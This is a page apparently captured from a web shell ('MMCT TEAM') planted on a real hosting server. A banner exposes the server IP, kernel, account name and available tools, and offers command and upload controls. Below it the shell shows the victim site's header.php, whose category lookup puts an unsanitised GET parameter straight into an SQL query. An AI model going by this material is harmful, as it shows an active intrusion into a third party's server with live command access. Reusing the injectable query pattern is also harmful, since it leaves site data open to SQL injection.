MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.191.165.149
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/adowoods.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/adowoods.com/header.php
<?php 
ob_start();
require_once("includes/dbsmain.inc.php");
//header("location:hack.html");

$page_name=basename($_SERVER['PHP_SELF'],'.php');

include("site-main-query.php");
if($compDATA['admin_site_down']=='Yes'){
 header("location:site-down.php");
 exit;
}
$site_url=$compDATA['admin_website_url']; 
 ?>
<!DOCTYPE html>
<html lang="en">
<head><meta charset="windows-1252">
<?php if(!empty($compDATA['admin_index_follow'])){
    ?>
    <meta name="robots" content="index,follow">
<?php    
}else{
    ?>
<meta name="robots" content="noindex,nofollow">    
<?php
}
?>    
    

<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<?php
$cate=$_GET['cat_name'];
$cate_query="select * from tbl_category where category_url='$cate'";
$res2=db_query($cate_query);
if(mysqli_num_rows($res2)){
  $category_meta=mysqli_fetch_array($res2);
}

$meta_query="select * from tbl_site_pages where site_pages_link='$page_name'";
$res=db_query($meta_query);
if(mysqli_num_rows($res)>0){
  $meta=mysqli_fetch_array($res);
}

if($page_name=="product-search"){

?>
<title><?=$category_meta['category_meta_title']?></title>

<meta name="keywords" content="<?=$category_meta['category_meta_keywords']?>">
<meta name="description" content="<?=$category_meta['category_meta_description']?>">
<meta name="author" content="<?=$compDATA['admin_company_name']?>">
<?php }
else{?>
<title><?=$meta['site_pages_meta_title']?></title>

<meta name="keywords" content="<?=$meta['site_pages_meta_keyword']?>">
<meta name="description" content="<?=$meta['site_pages_meta_description']?>">
<meta name="author" content="<?=$compDATA['admin_company_name']?>">
<?php }?>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<?php if(!empty($compDATA['admin_site_verification_code'])){
    ?>
<meta name="google-site-verification" content="<?=$compDATA['admin_site_verification_code']?>"/>
<?php    
}
?>
<?php if($compDATA['admin_favicon']!=""){?>
<link rel="shortcut icon" type="image/png" href="<?=$site_url?>/<?=$compDATA['admin_favicon']?>"/>
<?}?>
<meta name="p:domain_verify" content="51720ea308f2ec27bc3518ec389c274a"/>
<link rel="icon" href="images/favicon-icon.png" type="image/x-icon"/>
<link href='<?=$site_url?>/css/online-font-family.css' rel='stylesheet' type='text/css'>
<link href="<?=$site_url?>/css/bootstrap.min.css" rel="stylesheet" media="screen">
<link href="<?=$site_url?>/fonts/font-awesome/css/font-awesome.min.css" rel="stylesheet">
<link rel="stylesheet" href="<?=$site_url?>/css/animate.min.css">
<link rel="stylesheet" href="<?=$site_url?>/css/prettyPhoto.css">
<link rel="stylesheet" href="<?=$site_url?>/css/jquery.datetimepicker.css">
<link rel="stylesheet" href="<?=$site_url?>/css/bxslider.css">
<link rel="stylesheet" href="<?=$site_url?>/css/color.css" />
<link rel="stylesheet" href="<?=$site_url?>/css/style.css" />
<link rel="stylesheet" href="<?=$site_url?>/css/feedback.css" />
<script src="<?=$site_url?>/js/modernizr.custom.js"></script>
<!--[if lt IE 9]>
    <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
<script src="http://code.jquery.com/jquery-1.12.3.min.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="<?=$site_url?>/js/feedback.js"></script>
<?php
if(!empty($compDATA['admin_google_analytic_code'])){
    echo $compDATA['admin_google_analytic_code'];
}
?>
<script type="application/ld+json">
{
"@context": "http://schema.org/",
"@type": "Brand",
"name": "ADO Woods",
"url": "http://www.adowoods.com/",
"AggregateRating": {
  "@type": "AggregateRating",
  "ratingValue": "4.9",
  "bestRating": "5",
  "worstRating": "1",
  "ratingCount": "1120"
 }
}
</script>
	<style>
		@media (min-width:320px) and (max-width:767px) 
{
		.header-top span:first-child {
   padding-left: 0;
	}
	a.top {
    bottom: 3.2em;
}
		
		}
	</style>
</head>
	
<div id="feedback"> 
<form method="post" action="mail.php" class="feedback-form-form" onsubmit="return ContactValidation();">
        <div id="feedback-form" style='display:none;' class="col-xs-4 col-md-4 panel-default">
        
                <div class="form-group">
                    <input type="text" class="form-contrlor" name="name" id="name" placeholder="Your Name" />
                </div>
                <div class="form-group">
                    <input type="text" class="form-contrlor" name="email" id="email" placeholder="Your e-mail"  />
                </div>
                <div class="form-group">
                
                    <input type="text" class="form-contrlor" name="phone" id="phone" maxlength="10" placeholder="Your Mobile No" />
                </div>
                <div class="form-group">
                
                    <input type="text" class="form-contrlor" name="state" id="state" placeholder="Your State" />
                </div>
                <div class="form-group">
                    <textarea class="form-contrlor" name="message" id="message" placeholder="Please write your feedback here..." rows="5"></textarea>
                </div>
            <input type="submit" value="Send" class="btn btn-primary btn-lg"  name="inquiry" />
        <!--    <input type="submit" value="Submit " class="btn btn-primary btn-lg" id="submit" name="inquiry" >-->
        
        </div>  </form>
        <div id="feedback-tab">Get Quote</div>
    </div>
    
    
<script type="text/javascript">
function ContactValidation(){	
   function trim(str){				
	 return str.replace(/^\s*|\s*$/g,'');
	}	
if(trim(document.getElementById('name').value)==0){		
alert("Enter Your Name !");
document.getElementById('name').focus();
return false;
}
if (!document.getElementById('name').value.match(/^[a-zA-Z-,]+(\s{0,1}[a-zA-Z-, ])*$/)){
alert("Please enter only alphabets !");
document.getElementById('name').value='';
document.getElementById('name').focus();
return false;
}


var email=trim(document.getElementById('email').value);
var mailformat = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/;
if(email=='')
  {
	  alert('Please Enter Email Id');
	  document.getElementById('email').focus();
	  return false;
  }else if(!email.match(mailformat)){
alert("You have entered an invalid email address!");
document.getElementById('email').focus();
return false;
}

var mobno=trim(document.getElementById('phone').value);
if(trim(document.getElementById('phone').value)==0){
	alert("Enter your mobile no.!");
	document.getElementById('phone').focus();
	return false;
}
if(isNaN(document.getElementById('phone').value)){
	alert("Mobile no. should be no.!");
	document.getElementById('phone').focus();
	return false;
}
if(mobno.length < 10){
    alert("Mobile no. should be 10 digit long !");
	document.getElementById('phone').focus();
	return false;
}	
if(trim(document.getElementById('state').value)==0){		
alert("Enter Your State !");
document.getElementById('state').focus();
return false;
}
if(trim(document.getElementById('message').value)==0){
	alert("Enter your message!");
	document.getElementById('message').focus();
	return false;
 }
	
}
</script>
<body id="top" onLoad="initialize()">
<!--<div id="preloader">
<img src="images/Preloader.gif" alt="Preloader" />
</div>
-->
<header id="home" class="cbp-af-header header2">
<div class="header-top BGdark">
<div class="container">
<div class="col-md-8 col-sm-12 col-xs-12  hidden-xs">
  
  <span style=" width:100%;">
      <marquee behavior="scroll">
<b>We're all together in this covid -19 updates</b>|
<b>Special offer💥💥
Get 2% Cash Discount
On Minimum Order Of Worth rs 5 lakh...</b>| 
100% WPC Material With Full Guarantee With 100% Refund and Return Policy...To Avail the Opportunity Call on- 9285011126,27 7354011133,31 Hurry Up To Grab Best  Eco Friendly Wall Panels and Frames in Best Prices!!!!! 
          </marquee>
          </span>
<?php /*if(!empty($compDATA['admin_phone'])){?>
<span><i class="fa fa-phone"></i>  <?=$compDATA['admin_phone']?> </span>
<?php }?>

<?php if(!empty($compDATA['admin_mobile'])){?>
<span><i class="fa fa-mobile"></i> <?=$compDATA['admin_mobile']?></span>
<?php }?>


<?php if(!empty($compDATA['admin_email'])){?>
<span><i class="fa fa-envelope-o"></i> <a href="mailto:<?=$compDATA['admin_email']?>" title="Click to send a email"><span class="__cf_email__">
<?=$compDATA['admin_email']?></span></a> </span>
<?php }?>


<?php if(!empty($compDATA['admin_whatsapp'])){?>
<span style="float: right;"><a href="https://api.whatsapp.com/send?phone=91<?=$compDATA['admin_whatsapp']?>" target="_blank"><img src="<?=$site_url?>/images/whatsapp.png"></a>
 </span> 
<?php }*/?>    

</div>
	<div class="col-md-8 col-sm-12 col-xs-12  visible-xs" style="padding-top:10px !important;">
<div class="col-md-12 col-xs-12" style="color:#fff;">
      <marquee behavior="scroll">
<b>We are all together in this covid -19 updates</b> | 
<b>Special offer💥💥
Get 2% Cash Discount
On Minimum Order Of Worth rs 5 lakh...</b>|
100% WPC Material With Full Guarantee With 100% Refund and Return Policy...To Avail the Opportunity Call on- 9285011126,27 7354011133,31 Hurry Up To Grab Best  Eco Friendly Wall Panels and Frames in Best Prices!!!!! 
          </marquee>
    </div>

<?/*
	<div class="col-md-3 col-xs-12" style="color:#fff;">
<?php if(!empty($compDATA['admin_phone'])){?>
<i class="fa fa-phone"  style="color:#ff7c1b; width:10px;"></i>  <?=$compDATA['admin_phone']?>
<?php }?>
	</div>
		<div class="col-md-5 col-xs-12" style="color:#fff;">
<?php if(!empty($compDATA['admin_mobile'])){?>
<i class="fa fa-mobile"  style="color:#ff7c1b; width:10px; font-size:16px;"></i> <?=$compDATA['admin_mobile']?>
<?php }?>
	</div>
		<div class="col-md-3 col-xs-8" style="color:#fff;">
<?php if(!empty($compDATA['admin_email'])){?>
<i class="fa fa-envelope-o" style="color:#ff7c1b; width:10px;"></i> <a style="color:#fff !important;" href="mailto:<?=$compDATA['admin_email']?>" title="Click to send a email">
<?=$compDATA['admin_email']?></a>
<?php }?>
	</div>
		<div class="col-md-1 col-xs-4">
<?php if(!empty($compDATA['admin_whatsapp'])){?>
<span style="float: right;"><a href="https://api.whatsapp.com/send?phone=91<?=$compDATA['admin_whatsapp']?>" target="_blank"><img src="<?=$site_url?>/images/whatsapp.png"></a>
 </span> 
<?php }?>    
</div> */?>


</div>
<div class="col-md-4 hidden-sm hidden-xs">
<?php if( ($compDATA['admin_facebook_link']!='') || ($compDATA['admin_twitter_link']!='') || ($compDATA['admin_insta_link']!='') || ($compDATA['admin_linkedin_link']!='') ){ ?>
<ul class="social list-inline pull-right">

<?php if($compDATA['admin_facebook_link']!=''){ ?>        
<li><a class="fb" href="<?=$compDATA['admin_facebook_link']?>" title="Follow Us on Facebook" target="_blank" rel="nofollow"><i class="fa fa-facebook"></i></a></li>
<?php }?>

<?php if($compDATA['admin_twitter_link']!=''){ ?>        
<li><a class="tw" href="<?=$compDATA['admin_twitter_link']?>" title="Follow Us on Twitter" target="_blank" rel="nofollow"><i class="fa fa-twitter"></i></a></li>
<?php }?>


<?php if($compDATA['admin_linkedin_link']!=''){ ?>        
<li><a class="tw" href="<?=$compDATA['admin_linkedin_link']?>" title="Follow Us on Linked In" target="_blank" rel="nofollow"><i class="fa fa-linkedin"></i></a></li>
<?php }?>

<?php if($compDATA['admin_insta_link']!=''){ ?>        
<li><a class="li" href="<?=$compDATA['admin_insta_link']?>" title="Follow Us on instagram" target="_blank" rel="nofollow"><i class="fa fa-instagram"></i></a></li>
<?php }?>

<?php if($compDATA['admin_pin_link']!=''){ ?>        
<li><a class="pt" href="<?=$compDATA['admin_pin_link']?>" title="Watch Our Videos" target="_blank" rel="nofollow"><i class="fa fa-pinterest"></i></a></li>
<?php }?>

<?php if($compDATA['admin_youtube_link']!=''){ ?>        
<li><a class="yt" href="<?=$compDATA['admin_youtube_link']?>" title="Watch Our Videos" target="_blank" rel="nofollow"><i class="fa fa-youtube-play"></i></a></li>
<?php }?>


</ul>

<?php }?>


</div>
</div>
</div>
<style>
div#whatsapp {
    width:209px;
    float: right;
}
div#whatsapp .whatsapp-no{
    float: left;
    color: #fff;
    display:block;
}
div#whatsapp .whatsapp-no {
    float: left;
    color: #fff;
    background:#444;
    padding: 0 30px;
}
div#whatsapp .whatsapp-icon {
    float: right;
    cursor: pointer;
}
</style>
<script>
$(document).ready(function(){
    $(".whatsapp-icon").click(function(){
        $(".whatsapp-no").toggle(1000);
    });
});
</script>
<?php 
$logo_query=db_query("SELECT * FROM tbl_header WHERE 1");
if(mysqli_num_rows($logo_query)>0){
  $logo=mysqli_fetch_array($logo_query);
}
?>
<div class="container">
<div class="col-md-4 col-sm-3 col-xs-12 logo">

<?php if(!empty($logo['header_welcome_image'])){?>
<a title="<?=$compDATA['admin_company_name']?>" href="<?=$site_url?>"><img class="img-responsive eco-logo" src="<?=$site_url?>/header_files/<?=$logo['header_welcome_image']?>" width="100%" height="100" alt="<?=$compDATA['admin_company_name']?>" />
</a>
<?php }?>

<?php if(!empty($logo['header_logo'])){?>
<a title="<?=$compDATA['admin_company_name']?>" href="<?=$site_url?>"><img class="img-responsive" src="<?=$site_url?>/header_files/<?=$logo['header_logo']?>" width="100%" height="100" alt="<?=$compDATA['admin_company_name']?>" />
</a>
<?php }?>
</div>
<div class="col-md-8 col-sm-9 col-xs-12 cbp-af-inner rightnav">
<nav class="navbar navbar-default">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#menu">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
</div>

<div class="collapse navbar-collapse" id="menu">
<ul class="nav navbar-nav">

<?php
$menu_query=db_query("SELECT * FROM tbl_site_pages WHERE site_pages_show_in_header='Yes' AND site_pages_status='Active' ORDER BY site_pages_order_by");
if(mysqli_num_rows($menu_query)>0){
while($menu=mysqli_fetch_array($menu_query)){
?>
<li class="<?php if($page_name==$menu['site_pages_link']){?>active<?php }?> sub"><a href="<?=$site_url?>/<?=$menu['site_pages_link']?>.html" title="<?=$menu['site_pages_url']?>"><?=$menu['site_pages_name']?></a></li>
<?php }}?>
</ul>
</div>
</nav>
</div> 
</div>
</header>

MMCT - 2023